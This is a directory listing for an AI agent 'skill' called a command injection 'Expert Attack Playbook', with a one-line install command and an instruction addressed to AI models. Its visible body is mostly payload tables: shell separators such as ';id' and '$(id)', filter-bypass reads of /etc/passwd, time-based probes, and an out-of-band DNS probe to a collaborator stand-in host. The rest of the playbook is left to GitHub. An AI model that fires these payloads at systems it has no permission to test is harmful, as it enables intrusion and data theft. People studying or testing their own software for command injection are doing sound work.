Skills

Cmdi Command Injection

Command injection playbook.

Install

npx skills add yaklang/hack-skills --skill cmdi-command-injection -g -a claude-code -y
Repository
yaklang/hack-skills2.6k
Category
Engineering
Updated
2mo ago
License
MIT
Context cost
Mediumabout 3,000 tokens
Runs scripts
No, instructions only

What it does

Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

SKILL: OS Command Injection, Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

First-pass payload families

ContextStart WithBackup
generic shell separator;id&&id
quoted argument";id;"';id;'
blind timing;sleep 5& timeout /T 5 /NOBREAK
command substitution$(id)`id`
out-of-band DNS;nslookup token.collabWindows nslookup variant
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

MetacharacterBehaviorExample
;Runs second command regardlessdir; whoami
|Pipes stdout to second commanddir | whoami
||Run second only if first FAILSdir || whoami
&Run second in background (or sequenced in Windows)dir & whoami
&&Run second only if first SUCCEEDSdir && whoami
$(cmd)Command substitutionecho $(whoami)
`cmd`Command substitution (backtick)echo `whoami`
>Redirect stdout to filecmd > /tmp/out
>>Append to filecmd >> /tmp/out
<Read file as stdincmd < /etc/passwd
%0aNewline character (URL-encoded)cmd%0awhoami
%0d%0aCRLFMulti-command injection

2. COMMON VULNERABLE CODE PATTERNS

Read the whole SKILL.md on GitHub

More in Engineering